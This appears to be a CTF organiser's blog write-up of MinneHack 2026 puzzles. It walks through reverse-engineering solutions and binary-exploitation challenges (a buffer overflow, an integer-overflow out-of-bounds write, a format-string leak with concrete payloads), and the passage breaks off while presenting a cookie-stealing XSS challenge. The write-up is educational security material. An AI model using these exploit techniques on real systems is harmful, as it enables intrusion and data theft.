MinneHack 2026 CTF puzzles and solutions

2026-02-20 on muffin.ink

I designed the capture-the-flag (CTF) event at MinneHack 2026.

The code has been posted on GitHub, though that repository is not really in an easy to play with format. This post is the writeup for almost all of puzzles so you can try them yourself (or at least think about them) along with the solution.

Several parts of this event involved server-side stuff that is no longer running, so for those I'll just show you the source code instead for you to analyze.

If you want to open all the solutions at once, click this button:

Reverse Engineering

This is the category where I gave people a pre-compiled Linux x86-64 binary without source code and asked players to figure out what input will make it print out success. That input is the flag.

Reminder: you'll have to mark these as executable with chmod +x.

Intro (14 solves)

Download intro.out

Solution

This one was intended to be compiled with -g so you could just read the source code in gdb, but it turns out I forgot to do that. The actual easiest solution is to simply run strings on the binary because the flag is unobfuscated:

$ strings ./intro.out | grep flag
flag{Didnt_even_strip_debug_symbols}
_flags
_flags2

Scramble (9 solves)

Download scramble.out

Solution

In this one, the flag is scrambled in the binary so you can't just read it via strings. The intended solution is to disassemble the binary, then notice this rather suspicious block:

0x0000000000001215 <+144>:   movb   $0x74,0x2f72(%rip)        # 0x418e <flag+14>
0x000000000000121c <+151>:   movb   $0x61,0x2f5f(%rip)        # 0x4182 <flag+2>
0x0000000000001223 <+158>:   movb   $0x63,0x2f60(%rip)        # 0x418a <flag+10>
0x000000000000122a <+165>:   movb   $0x7b,0x2f53(%rip)        # 0x4184 <flag+4>
0x0000000000001231 <+172>:   movb   $0x72,0x2f59(%rip)        # 0x4191 <flag+17>
0x0000000000001238 <+179>:   movb   $0x4e,0x2f46(%rip)        # 0x4185 <flag+5>
0x000000000000123f <+186>:   movb   $0x74,0x2f49(%rip)        # 0x418f <flag+15>
0x0000000000001246 <+193>:   movb   $0x6f,0x2f39(%rip)        # 0x4186 <flag+6>
0x000000000000124d <+200>:   movb   $0x7d,0x2f3e(%rip)        # 0x4192 <flag+18>
0x0000000000001254 <+207>:   movb   $0x75,0x2f2e(%rip)        # 0x4189 <flag+9>
0x000000000000125b <+214>:   movb   $0x4d,0x2f26(%rip)        # 0x4188 <flag+8>
0x0000000000001262 <+221>:   movb   $0x66,0x2f17(%rip)        # 0x4180 <flag>
0x0000000000001269 <+228>:   movb   $0x67,0x2f13(%rip)        # 0x4183 <flag+3>
0x0000000000001270 <+235>:   movb   $0x65,0x2f16(%rip)        # 0x418d <flag+13>
0x0000000000001277 <+242>:   movb   $0x74,0x2f09(%rip)        # 0x4187 <flag+7>
0x000000000000127e <+249>:   movb   $0x68,0x2f06(%rip)        # 0x418b <flag+11>
0x0000000000001285 <+256>:   movb   $0x6c,0x2ef5(%rip)        # 0x4181 <flag+1>
0x000000000000128c <+263>:   movb   $0x42,0x2ef9(%rip)        # 0x418c <flag+12>
0x0000000000001293 <+270>:   movb   $0x65,0x2ef6(%rip)        # 0x4190 <flag+16>
0x000000000000129a <+277>:   lea    0x2ddf(%rip),%rsi        # 0x4080 <input>
0x00000000000012a1 <+284>:   lea    0x2ed8(%rip),%rdi        # 0x4180 <flag>

You could trace through the assembly to figure out how it's setting up the flag. You could also put a breakpoint on strcmp and view the registers at that point:

$ gdb ./scramble.out
(gdb) break strcmp
Breakpoint 1 at 0x1070
(gdb) run
What's the password?
> whatever

Breakpoint 1, 0x00007ffff7f2cab0 in ?? () from /lib/x86_64-linux-gnu/libc.so.6
(gdb) x/s $rdi
0x555555558180 <flag>:  "flag{NotMuchBetter}"
(gdb) x/s $rsi
0x555555558080 <input>: "whatever"

I found out later that apparently the Hex-Rays decompiler turns this assembly into very readable C:

  qmemcpy(&flag, "flag{NotMuchBetter}", 19);
  if ( !strcmp(&flag, input) )

Bakers Dozen (6 solves)

Download bakers-dozen.out

Solution

In strings you can find a suspicious string: *****EbgGuvegrraVfIrelFrpher*

That's not quite the flag, but it's close. If you decompile the check function, you find this loop. It's pretty plainly obvious from things like % 26 that this is something about letters, and specifically it's a rot 13.

for ( i = 5; i < 28; ++i )
{
  v5 = *(&input + i);
  v1 = v5 > 64 && v5 <= 90;
  if ( v1 )
    v2 = 65;
  else
    v2 = 97;
  v4 = (v5 - v2 + 13) % 26;
  if ( v1 )
    v3 = 65;
  else
    v3 = 97;
  if ( v3 + (_BYTE)v4 != data[i] )
    return 0;
}

So just rot 13 the suspicious string from earlier and wrap it with flag{...}: flag{RotThirteenIsVerySecure}

Leaves (2 solves)

Download leaves.out

Solution

If you decompile this one, you'll see that it's compiled with optimizations enabled and symbols stripped. It also has a rather large amount of inlined code. Those are calls to a binary tree insert(key, value) function that I made gdb always inline because it was too easy otherwise. That binary tree is then used as a lookup table to compare your input against a hardcoded string.

There's a few ways you could've solved this. First, you could've realized that the inlined block is a binary tree insert, and then manually build up a list of key -> value pairs. Another way is to take advantage of the fact that this is just obfuscation around a monoalphabetic substitution cipher. You can enter some guesses and then just look at what the letters get converted to to build up a lookup table without knowing there is a binary tree in here.

To do that, you need to find the part where the string comparison happens. With -O3, gcc has decided to replace strcmp with this assembly:

2228:       48 ba 56 68 54 4a 44    movabs $0x466459444a546856,%rdx
222f:       59 64 46
2232:       49 33 51 08             xor    0x8(%r9),%rdx
2236:       48 b8 4f 44 58 59 53    movabs $0x694459535958444f,%rax
223d:       59 44 69
2240:       49 33 01                xor    (%r9),%rax
2243:       48 09 c2                or     %rax,%rdx
2246:       75 0e                   jne    2256 <__cxa_finalize@plt+0x11c6>
2248:       41 81 79 10 51 64 56    cmpl   $0x56566451,0x10(%r9)

This is comparing the string pointed to by %r9 against ODXYSYDiVhTJDYdFQdVV.

You could find earlier checks that the input must be 26 characters long and start with flag{ and end with }. With all this, you can slowly get the entire lookup table out of gdb:

(gdb) starti
Starting program: .../leaves.out

Program stopped.
0x00007ffff7fe4280 in ?? () from /lib64/ld-linux-x86-64.so.2
(gdb) info proc mappings
Mapped address spaces:

Start Addr         End Addr           Size               Offset             Perms File
0x0000555555554000 0x0000555555555000 0x1000             0x0                r--p  /home/thomas/Projects/minnehack-ctf-2026/portal/src/challenge-static/rev-leaves/leaves.out
...
(gdb) b *0x0000555555554000+0x2228
Breakpoint 1 at 0x555555556228
(gdb) c
Continuing.
What's the password?
> flag{abcdefghijklmnopqrst}

Breakpoint 1, 0x0000555555556228 in ?? ()
(gdb) x/s $r9
0x7fffffffde40: "YXihVNsEJZwSpDnazdIu"

This shows us that abcdefghijklmnopqrst maps to YXihVNsEJZwSpDnazdIu. You can repeat this a few times to get the entire alphabet out. Then follow the table backwards to get the input the program wants: flag{UnbalancedBinaryTree}

Bytecode (1 solve)

Download bytecode.out

Solution

This program embeds Fabrice Bellard's MicroQuickJS JavaScript engine alongside some pre-compiled bytecode for a simple JavaScript program. The flag checking happens inside that JavaScript bytecode.

The original JavaScript is this. I used the manual comparisons per letter instead of a simple input === "whatever" so that you couldn't just run strings on it.

print("> ");
var txt = input();
function check() {
    if (txt.length !== 42) return false;
    return (
        txt[0]  === 'f' && txt[1]  === 'l' && txt[2]  === 'a' &&
        txt[3]  === 'g' && txt[4]  === '{' && txt[5]  === 'd' &&
        txt[6]  === 'a' && txt[7]  === 'c' && txt[8]  === '4' &&
        txt[9]  === '0' && txt[10] === 'c' && txt[11] === 'b' &&
        txt[12] === '6' && txt[13] === '-' && txt[14] === '6' &&
        txt[15] === '2' && txt[16] === '3' && txt[17] === '3' &&
        txt[18] === '-' && txt[19] === '4' && txt[20] === '8' &&
        txt[21] === '0' && txt[22] === '0' && txt[23] === '-' &&
        txt[24] === 'a' && txt[25] === '2' && txt[26] === '5' &&
        txt[27] === '1' && txt[28] === '-' && txt[29] === 'a' &&
        txt[30] === 'c' && txt[31] === '8' && txt[32] === 'c' &&
        txt[33] === '9' && txt[34] === '1' && txt[35] === 'f' &&
        txt[36] === 'd' && txt[37] === '7' && txt[38] === 'b' &&
        txt[39] === '5' && txt[40] === 'f' && txt[41] === '}'
    );
}
if (check()) {
    print("Success!\n");
} else {
    print("Incorrect!\n");
}

This compiles to this bytecode, which is sitting in the binary:

static const unsigned char bytecode_bin[] = {
  0xfb, 0xac, 0x01, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x59, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x36, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3c, 0x65, 0x76, 0x61, 0x6c, 0x3e, 0x00, 0x00,
  0xb6, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x69, 0x6e, 0x70, 0x75, 0x74, 0x00, 0x00, 0x00, 0xb6, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x70, 0x72, 0x69, 0x6e, 0x74, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80,
  0xa6, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0x79, 0x74, 0x65, 0x63, 0x6f, 0x64, 0x65, 0x2e, 0x6a, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf9, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0xb9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x81, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x02, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe1, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x26, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3e, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x4a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0xc9, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb6, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x74, 0x78, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x21, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0xe1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb6, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0x68, 0x65, 0x63, 0x6b, 0x00, 0x6f, 0x6e,
  0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x39, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x59, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x71, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x2f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x02, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa6, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x21,
  0x0a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0xbd, 0x8b, 0x8b, 0x85, 0x80, 0xca, 0x58,
  0xbd, 0x97, 0x8b, 0xf2, 0x97, 0x8b, 0xf0, 0x06, 0xec, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x01, 0x00, 0x33, 0x03, 0x00, 0x30, 0x00,
  0x00, 0x02, 0x00, 0x00, 0x19, 0x01, 0x00, 0x0d, 0x30, 0x02, 0x00, 0x19, 0x00, 0x00, 0x33, 0x01, 0x00, 0x30, 0x03, 0x00, 0x19, 0x00, 0x00, 0x34,
  0x13, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x02, 0x02, 0x00, 0x19, 0x01, 0x00, 0x0d, 0x36, 0x0e, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x02, 0x03,
  0x00, 0x19, 0x01, 0x00, 0x0d, 0x1d, 0x00, 0x00, 0xa6, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x49, 0x6e, 0x63, 0x6f, 0x72, 0x72, 0x65, 0x63,
  0x74, 0x21, 0x0a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x02, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0xbc, 0x0b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0x26, 0x7e, 0x11, 0xf8, 0x44, 0xa2, 0x79,
  0xf8, 0x9f, 0xd8, 0x9e, 0x7e, 0x27, 0xf6, 0x27, 0x9f, 0x89, 0xfd, 0x89, 0xe7, 0xe2, 0x7f, 0x62, 0x79, 0xf8, 0x9f, 0xd8, 0x9e, 0x7e, 0x27, 0xf6,
  0x27, 0x9f, 0x89, 0xfd, 0x89, 0xe7, 0xe2, 0x7f, 0x62, 0x79, 0xf8, 0x9f, 0xd8, 0x9e, 0x7e, 0x27, 0xf6, 0x27, 0x9f, 0x8b, 0xfd, 0x89, 0xe7, 0xe2,
  0xff, 0x62, 0x79, 0xf8, 0xbf, 0xd8, 0x9e, 0x7e, 0x2f, 0xf6, 0x27, 0x9f, 0x8b, 0xfd, 0x89, 0xe7, 0xe2, 0xff, 0x62, 0x79, 0xf8, 0xbf, 0xd8, 0x9e,
  0x7e, 0x2f, 0xf6, 0x27, 0x9f, 0x8b, 0xfd, 0x89, 0xe7, 0xe2, 0xff, 0x62, 0x79, 0xf8, 0xbf, 0xd8, 0x9e, 0x7e, 0x2f, 0xf6, 0x27, 0x9f, 0x8b, 0xfd,
  0x89, 0xe7, 0xe2, 0xff, 0x62, 0x79, 0xf8, 0xbf, 0xd8, 0x9e, 0x7e, 0x2f, 0xf6, 0x27, 0x9f, 0x8b, 0xfd, 0x89, 0xe7, 0xe2, 0xff, 0x62, 0x79, 0xf8,
  0xbf, 0xd8, 0x9e, 0x7e, 0x2f, 0xf6, 0x27, 0x9f, 0x8b, 0xfd, 0x89, 0xe7, 0xe2, 0xff, 0x62, 0x79, 0xf8, 0xbf, 0xd8, 0x9e, 0x7e, 0x2f, 0xf6, 0x27,
  0x9f, 0x8b, 0xfd, 0x89, 0xe7, 0xe2, 0xff, 0x62, 0x79, 0xf8, 0xbf, 0xd8, 0x9e, 0x7e, 0x2f, 0xf6, 0x27, 0x9f, 0x8b, 0xfd, 0x89, 0xe7, 0xe2, 0xff,
  0x62, 0x79, 0xf8, 0xbf, 0xd8, 0x9e, 0x7e, 0x2c, 0x0a, 0x85, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xec, 0x31, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x30, 0x00, 0x00, 0x26, 0x67, 0x2a, 0x59, 0x34, 0x06, 0x00, 0x00, 0x00, 0x07, 0x1c, 0x30, 0x00, 0x00, 0x5f, 0x23, 0x01, 0xdb, 0x0c, 0x00, 0x00,
  0x58, 0x0f, 0x34, 0x02, 0x03, 0x00, 0x00, 0x0d, 0x30, 0x00, 0x00, 0x60, 0x23, 0x01, 0x9b, 0x0d, 0x00, 0x00, 0x58, 0x0f, 0x34, 0xf0, 0x02, 0x00,
  0x00, 0x0d, 0x30, 0x00, 0x00, 0x61, 0x23, 0x01, 0x3b, 0x0c, 0x00, 0x00, 0x58, 0x0f, 0x34, 0xde, 0x02, 0x00, 0x00, 0x0d, 0x30, 0x00, 0x00, 0x62,
  0x23, 0x01, 0xfb, 0x0c, 0x00, 0x00, 0x58, 0x0f, 0x34, 0xcc, 0x02, 0x00, 0x00, 0x0d, 0x30, 0x00, 0x00, 0x63, 0x23, 0x01, 0x7b, 0x0f, 0x00, 0x00,
  0x58, 0x0f, 0x34, 0xba, 0x02, 0x00, 0x00, 0x0d, 0x30, 0x00, 0x00, 0x64, 0x23, 0x01, 0x9b, 0x0c, 0x00, 0x00, 0x58, 0x0f, 0x34, 0xa8, 0x02, 0x00,
  0x00, 0x0d, 0x30, 0x00, 0x00, 0x65, 0x23, 0x01, 0x3b, 0x0c, 0x00, 0x00, 0x58, 0x0f, 0x34, 0x96, 0x02, 0x00, 0x00, 0x0d, 0x30, 0x00, 0x00, 0x66,
  0x23, 0x01, 0x7b, 0x0c, 0x00, 0x00, 0x58, 0x0f, 0x34, 0x84, 0x02, 0x00, 0x00, 0x0d, 0x30, 0x00, 0x00, 0x67, 0x08, 0x23, 0x01, 0x9b, 0x06, 0x00,
  0x00, 0x58, 0x0f, 0x34, 0x71, 0x02, 0x00, 0x00, 0x0d, 0x30, 0x00, 0x00, 0x67, 0x09, 0x23, 0x01, 0x1b, 0x06, 0x00, 0x00, 0x58, 0x0f, 0x34, 0x5e,
  0x02, 0x00, 0x00, 0x0d, 0x30, 0x00, 0x00, 0x67, 0x0a, 0x23, 0x01, 0x7b, 0x0c, 0x00, 0x00, 0x58, 0x0f, 0x34, 0x4b, 0x02, 0x00, 0x00, 0x0d, 0x30,
  0x00, 0x00, 0x67, 0x0b, 0x23, 0x01, 0x5b, 0x0c, 0x00, 0x00, 0x58, 0x0f, 0x34, 0x38, 0x02, 0x00, 0x00, 0x0d, 0x30, 0x00, 0x00, 0x67, 0x0c, 0x23,
  0x01, 0xdb, 0x06, 0x00, 0x00, 0x58, 0x0f, 0x34, 0x25, 0x02, 0x00, 0x00, 0x0d, 0x30, 0x00, 0x00, 0x67, 0x0d, 0x23, 0x01, 0xbb, 0x05, 0x00, 0x00,
  0x58, 0x0f, 0x34, 0x12, 0x02, 0x00, 0x00, 0x0d, 0x30, 0x00, 0x00, 0x67, 0x0e, 0x23, 0x01, 0xdb, 0x06, 0x00, 0x00, 0x58, 0x0f, 0x34, 0xff, 0x01,
  0x00, 0x00, 0x0d, 0x30, 0x00, 0x00, 0x67, 0x0f, 0x23, 0x01, 0x5b, 0x06, 0x00, 0x00, 0x58, 0x0f, 0x34, 0xec, 0x01, 0x00, 0x00, 0x0d, 0x30, 0x00,
  0x00, 0x67, 0x10, 0x23, 0x01, 0x7b, 0x06, 0x00, 0x00, 0x58, 0x0f, 0x34, 0xd9, 0x01, 0x00, 0x00, 0x0d, 0x30, 0x00, 0x00, 0x67, 0x11, 0x23, 0x01,
  0x7b, 0x06, 0x00, 0x00, 0x58, 0x0f, 0x34, 0xc6, 0x01, 0x00, 0x00, 0x0d, 0x30, 0x00, 0x00, 0x67, 0x12, 0x23, 0x01, 0xbb, 0x05, 0x00, 0x00, 0x58,
  0x0f, 0x34, 0xb3, 0x01, 0x00, 0x00, 0x0d, 0x30, 0x00, 0x00, 0x67, 0x13, 0x23, 0x01, 0x9b, 0x06, 0x00, 0x00, 0x58, 0x0f, 0x34, 0xa0, 0x01, 0x00,
  0x00, 0x0d, 0x30, 0x00, 0x00, 0x67, 0x14, 0x23, 0x01, 0x1b, 0x07, 0x00, 0x00, 0x58, 0x0f, 0x34, 0x8d, 0x01, 0x00, 0x00, 0x0d, 0x30, 0x00, 0x00,
  0x67, 0x15, 0x23, 0x01, 0x1b, 0x06, 0x00, 0x00, 0x58, 0x0f, 0x34, 0x7a, 0x01, 0x00, 0x00, 0x0d, 0x30, 0x00, 0x00, 0x67, 0x16, 0x23, 0x01, 0x1b,
  0x06, 0x00, 0x00, 0x58, 0x0f, 0x34, 0x67, 0x01, 0x00, 0x00, 0x0d, 0x30, 0x00, 0x00, 0x67, 0x17, 0x23, 0x01, 0xbb, 0x05, 0x00, 0x00, 0x58, 0x0f,
  0x34, 0x54, 0x01, 0x00, 0x00, 0x0d, 0x30, 0x00, 0x00, 0x67, 0x18, 0x23, 0x01, 0x3b, 0x0c, 0x00, 0x00, 0x58, 0x0f, 0x34, 0x41, 0x01, 0x00, 0x00,
  0x0d, 0x30, 0x00, 0x00, 0x67, 0x19, 0x23, 0x01, 0x5b, 0x06, 0x00, 0x00, 0x58, 0x0f, 0x34, 0x2e, 0x01, 0x00, 0x00, 0x0d, 0x30, 0x00, 0x00, 0x67,
  0x1a, 0x23, 0x01, 0xbb, 0x06, 0x00, 0x00, 0x58, 0x0f, 0x34, 0x1b, 0x01, 0x00, 0x00, 0x0d, 0x30, 0x00, 0x00, 0x67, 0x1b, 0x23, 0x01, 0x3b, 0x06,
  0x00, 0x00, 0x58, 0x0f, 0x34, 0x08, 0x01, 0x00, 0x00, 0x0d, 0x30, 0x00, 0x00, 0x67, 0x1c, 0x23, 0x01, 0xbb, 0x05, 0x00, 0x00, 0x58, 0x0f, 0x34,
  0xf5, 0x00, 0x00, 0x00, 0x0d, 0x30, 0x00, 0x00, 0x67, 0x1d, 0x23, 0x01, 0x3b, 0x0c, 0x00, 0x00, 0x58, 0x0f, 0x34, 0xe2, 0x00, 0x00, 0x00, 0x0d,
  0x30, 0x00, 0x00, 0x67, 0x1e, 0x23, 0x01, 0x7b, 0x0c, 0x00, 0x00, 0x58, 0x0f, 0x34, 0xcf, 0x00, 0x00, 0x00, 0x0d, 0x30, 0x00, 0x00, 0x67, 0x1f,
  0x23, 0x01, 0x1b, 0x07, 0x00, 0x00, 0x58, 0x0f, 0x34, 0xbc, 0x00, 0x00, 0x00, 0x0d, 0x30, 0x00, 0x00, 0x67, 0x20, 0x23, 0x01, 0x7b, 0x0c, 0x00,
  0x00, 0x58, 0x0f, 0x34, 0xa9, 0x00, 0x00, 0x00, 0x0d, 0x30, 0x00, 0x00, 0x67, 0x21, 0x23, 0x01, 0x3b, 0x07, 0x00, 0x00, 0x58, 0x0f, 0x34, 0x96,
  0x00, 0x00, 0x00, 0x0d, 0x30, 0x00, 0x00, 0x67, 0x22, 0x23, 0x01, 0x3b, 0x06, 0x00, 0x00, 0x58, 0x0f, 0x34, 0x83, 0x00, 0x00, 0x00, 0x0d, 0x30,
  0x00, 0x00, 0x67, 0x23, 0x23, 0x01, 0xdb, 0x0c, 0x00, 0x00, 0x58, 0x0f, 0x34, 0x70, 0x00, 0x00, 0x00, 0x0d, 0x30, 0x00, 0x00, 0x67, 0x24, 0x23,
  0x01, 0x9b, 0x0c, 0x00, 0x00, 0x58, 0x0f, 0x34, 0x5d, 0x00, 0x00, 0x00, 0x0d, 0x30, 0x00, 0x00, 0x67, 0x25, 0x23, 0x01, 0xfb, 0x06, 0x00, 0x00,
  0x58, 0x0f, 0x34, 0x4a, 0x00, 0x00, 0x00, 0x0d, 0x30, 0x00, 0x00, 0x67, 0x26, 0x23, 0x01, 0x5b, 0x0c, 0x00, 0x00, 0x58, 0x0f, 0x34, 0x37, 0x00,
  0x00, 0x00, 0x0d, 0x30, 0x00, 0x00, 0x67, 0x27, 0x23, 0x01, 0xbb, 0x06, 0x00, 0x00, 0x58, 0x0f, 0x34, 0x24, 0x00, 0x00, 0x00, 0x0d, 0x30, 0x00,
  0x00, 0x67, 0x28, 0x23, 0x01, 0xdb, 0x0c, 0x00, 0x00, 0x58, 0x0f, 0x34, 0x11, 0x00, 0x00, 0x00, 0x0d, 0x30, 0x00, 0x00, 0x67, 0x29, 0x23, 0x01,
  0xbb, 0x0f, 0x00, 0x00, 0x58, 0x1c, 0x00, 0x00
};

There's a few ways you could go about solving this.

One way is to take the bytecode out of the binary and put it into your own local build of MicroQuickJS. From there, you can enable DUMP_EXEC compile-time flag and add additional logging to trace instructions as they are executed. You would also need to implement global functions input() and print() as used by the program. You would eventually be able to realize what checks the program is making.

Binary Exploitation

In this category, players get the source code for a program that has a security vulnerability. Compile and run it locally to develop an attack, then connect to our server to perform the attack and get the real flag. That server is dead, so instead you can just compile locally and trust that it would've worked on our server.

Gets (6 solves)

#include <stdio.h>

typedef struct {
    char buf[256];
    int print_flag;
} vars_t;

int main() {
    vars_t v = {0};
    printf("> ");
    gets(v.buf);
    if (v.print_flag != 0) {
        printf("flag{...}\n");
    }
}

Compiled with gcc -ansi -O0 on Ubuntu 24.04.

Solution

The bug here is that gets is impossible to use safely. The man page literally says to "Never use this function". Just enter a string that is 257 characters long, then you'll fill up all of buf and start writing to whatever comes next. The next memory address happens to be where print_flag lives, which will cause its value to become non-zero.

Grid (3 solves)

#include <string.h>
#include <stdio.h>

#define IS_ADMIN (1 << 6)

typedef struct {
    int mode;
    char pixels[1024];
} grid_t;

grid_t grid;

void print_grid() {
    for (int y = 0; y < 16; y++) {
        printf("%.32s\n", &grid.pixels[y * 32]);
    }
    if (grid.mode & IS_ADMIN) {
        printf("flag{...}\n");
    }
}

int main() {
    grid.mode = 0;
    for (int i = 0; i < 1024; i++) {
        grid.pixels[i] = '?';
    }

    while (1) {
        printf("Current image:\n");
        print_grid();

        int x;
        int y;
        char c;
        printf("X coordinate of pixel to change: ");
        scanf("%d", &x);
        printf("Y coordinate of pixel to change: ");
        scanf("%d", &y);
        printf("What character to put there: ");
        scanf(" %c", &c);

        if (x >= 0 && y >= 0) {
            grid.pixels[y * 32 + x] = c;
        } else {
            printf("Error: out of bounds!\n");
        }
    }
}

Compiled with gcc -O2 on Ubuntu 24.04.

Solution

You have to combine two issues here. First, x >= 0 && y >= 0 is only checking the lower bounds, not the upper bounds. This means you can do an out of bounds write on grid.pixels[y * 32 + x] = c.

Unfortunately, the value you want to overwrite, grid.mode, is located at a lower memory address than pixels. Thankfully, y * 32 + x allows overflow so with clever values, you can cause multiplication of two positive integers to return a negative integer.

You specifically want a way to make y * 32 + x to return -4 so that you can set bit 6 (eg. by setting it to 1 << 6 which is @ in ASCII). One way you can do this is by setting X to 28 and Y to 134217727.

Hello (2 solves)

#include <string.h>
#include <stdio.h>

char *the_flag = "flag{...}";

int main() {
    char *flag_ptr = the_flag;
    char greeting[128] = "Hello, ";
    printf("What is your name? ");
    scanf("%50s", greeting + strlen(greeting));
    strcat(greeting, "!\n");
    printf(greeting);
}

Compiled with gcc -O0 on Ubuntu 24.04.

Solution

This is a format string vulnerability. The issue is that instead of safely printing the greeting with printf("%s", greeting), the program does printf(greeting) which means it'll process any formatting codes you add. Exploiting this is a two step process.

First, recall that printf gets the values to print by reading from the stack and the flag_ptr variable is on stack. You can type in %p.%p.%p.%p.%p.%p.%p.%p to print out a bunch of values from the stack:

$ ./hello.out
What is your name? %p.%p.%p.%p.%p.%p.%p.%p
Hello, 0xa.0x1e.(nil).(nil).0x32.0x25202c6f6c6c6548.0x2e70252e70252e70.0x70252e70252e7025!

Some of these look like pointers. Run the program again using %7$s to print the 7th argument as a string:

$ ./hello.out
What is your name? %7$s
Hello, flag{fbb1ca83-de6d-4d44-a3fa-99d53999bd5d}!

Web

XSS 1 (4 solves)

Found this website for sharing ASCII art.

Apparently, after you upload something, there's a bot that will load up that page in a new Chrome tab.

I think the cookies of that Chrome process would be interesting to see.

The website is not up anymore, so instead I'll give you the frontend source code. Players were not given the backend source code. In the real event, any uploads would activate a background job to open upload.html?id=... in a new Chromium (Puppeteer) tab whose cookies contain the flag.

index.html:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf8">
    <meta name="robots" content="noindex">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="color-scheme" content="dark light">
    <title>ASCII Share</title>
    <style>
        input, textarea, button {
            font: inherit;
        }
        input, textarea {
            display: block;
            width: 100%;
            height: 150px;
            box-sizing: border-box;
        }
        button {
            cursor: pointer;
        }
    </style>
</head>
<body>
<pre>
  /$$$$$$   /$$$$$$   /$$$$$$  /$$$$$$ /$$$$$$        /$$$$$$  /$$
 /$$__  $$ /$$__  $$ /$$__  $$|_  $$_/|_  $$_/       /$$__  $$| $$
